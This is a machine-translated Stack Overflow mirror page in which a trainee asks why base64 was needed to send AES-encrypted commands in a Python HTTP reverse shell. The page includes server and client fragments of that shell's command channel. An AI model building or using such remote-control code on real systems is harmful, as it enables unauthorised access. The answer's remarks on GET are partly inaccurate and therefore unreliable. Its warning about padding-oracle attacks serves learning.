简体   繁体   English

python中的Http反向shell:AES和Base64

[英]Http reverse shell in python: AES and Base64

For a training I am coding a HTTP reverse shell in Python as an exercise.对于培训,我正在使用 Python 编写 HTTP 反向 shell 作为练习。 The training material includes a simple example of a TCP reverse shell which supports AES encryption and I wanted to apply the same to my Http shell.培训材料包括一个简单的 TCP 反向 shell 示例,它支持 AES 加密,我想将其应用于我的 Http shell。 In the end I managed to make it work, but being a newbie when it comes to encryption and encoding I would appreciate if someone could explain what's going on.最后我设法让它工作,但作为一个新手,在加密和编码方面,如果有人能解释发生了什么,我将不胜感激。

Both server and client use the same encrypt/decrypt functions:服务器和客户端都使用相同的加密/解密函数:

from Cryptodome.Cipher import AES
from Cryptodome.Util import Padding

# dummy vector and key
AES_IV = b"E" * 16
AES_KEY = b"E" * 32

def encrypt(message):
   encryptor = AES.new(AES_KEY, AES.MODE_CBC, AES_IV)
   padded_message = Padding.pad(message, 16)
   encrypted_message = encryptor.encrypt(padded_message)
   return encrypted_message
         
def decrypt(cipher):
   decryptor = AES.new(AES_KEY, AES.MODE_CBC, AES_IV)
   decrypted_padded_message = decryptor.decrypt(cipher)
   decrypted_message = Padding.unpad(decrypted_padded_message, 16)
   return decrypted_message

The server side waits for a command to be typed, which then sends to the client after encryption through GET requests, like this:服务器端等待输入命令,然后通过 GET 请求加密后发送给客户端,如下所示:

#snippet of the http server class implemented using  BaseHTTPRequestHandler
command = input("Shell> ")
# (code sending http headers omitted for simplicity)
encrypted_command = self.encrypt(command.encode())  
self.wfile.write(encrypted_command)

On the client side, the messages from the server is retrieved using the Requests module:在客户端,使用请求模块检索来自服务器的消息:

req = requests.get(server, headers=HEADERS)
command = req.text  # command sent by the server
command = decrypt(command).decode()

The above code is not working because the encrypted payload sent by the server via wfile.write() gets modified during the transfer.上面的代码不起作用,因为服务器通过 wfile.write() 发送的加密有效负载在传输过程中被修改。 For instance, the logs show that the encrypted version of the "dir" shell command sent by the server is:例如,日志显示服务器发送的“dir”shell命令的加密版本是:

b'\x01J\x8f\xe4\xd9qF\x1f\x8b\xea\x07Q\xe3\xbde{'

whereas the client receives:而客户收到:

b'\x01J\xc2\x8f\xc3\xa4\xc3\x99qF\x1f\xc2\x8b\xc3\xaa\x07Q\xc3\xa3\xc2\xbde{'

After some research, I solved the problem by adding base64 encoding, like this:经过一番研究,我通过添加base64编码解决了这个问题,如下所示:

encrypted_command = self.encrypt(command.encode())
encrypted_command = base64.b64encode(encrypted_command)
self.wfile.write(encrypted_command)

with symmetric base64 decode on the client side.在客户端使用对称 base64 解码。

The only minor issue is that the output of the command ("dir" for instance) goes back to the server with untranslated carriage returns but this is easily fixed, see below:唯一的小问题是命令的输出(例如“dir”)会以未翻译的回车返回到服务器,但这很容易解决,见下文:

Volume in drive D has no label.\r\n Volume serial number: 1A09-94DC\r\n\r\n Directory of D:\MyDir\Python\Coding\r\n\r\n20/05/2022 20:15 etc.驱动器 D 中的卷没有标签。\r\n 卷序列号: 1A09-94DC\r\n\r\n D 目录:\MyDir\Python\Coding\r\n\r\n20/05/2022 20 :15 等

The main dumb question for me is: why is base64 encoding needed to correctly transfer encrypted (ie binary) payloads via http?对我来说主要的愚蠢问题是:为什么需要 base64 编码才能通过 http 正确传输加密(即二进制)有效负载?

Many thanks S.非常感谢 S。

HTTP itself can handle binary payloads just fine. HTTP 本身可以很好地处理二进制有效负载。

However, HTTP GET can only be used to communicate text;但是,HTTP GET 只能用于传递文本; instead it uses the URL to send data.相反,它使用 URL 来发送数据。 There are specific rules about the values within the URL, which precludes characters / encodings such as control characters. URL 中的值有特定的规则,它排除了字符/编码,例如控制字符。 Actually, to have error-free communication you should be using base64url encoding , a specific dialect which uses dash and underscore instead of plus, slash and equals.实际上,要进行无差错通信,您应该使用base64url 编码,这是一种使用破折号和下划线而不是加号、斜杠和等号的特定方言。

If you request a webpage through a GET request you are not really transmitting large amounts of data after all.如果您通过 GET 请求请求网页,则毕竟您并没有真正传输大量数据。 For that you would use HTTP POST , and that's what I would suggest instead of base 64.为此,您将使用 HTTP POST ,这就是我建议的而不是 base 64。


Just a side note: CBC mode doesn't provide authenticated encryption , which means that any adversary can change the ciphertext, switch out blocks from a previous ciphertext etc. Worse, if you have an active server model you are also vulnerable against padding oracle and other plaintext oracle attacks.附带说明:CBC 模式不提供经过身份验证的加密,这意味着任何对手都可以更改密文,从以前的密文中切换出块等。更糟糕的是,如果您有一个活动服务器模型,您也容易受到填充 oracle和其他明文预言机攻击。 That means that in the worst case it doesn't provide any confidentiality either, basically rendering the encryption useless.这意味着在最坏的情况下,它也不提供任何机密性,基本上使加密无用。

Transport security is pretty hard to get right, which is why most people simply gravitate or get coaxed towards TLS.传输安全性很难做到正确,这就是为什么大多数人只是被 TLS 吸引或哄骗。 Of course, if you're just learning: carry on :)当然,如果你只是在学习:继续 :)

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM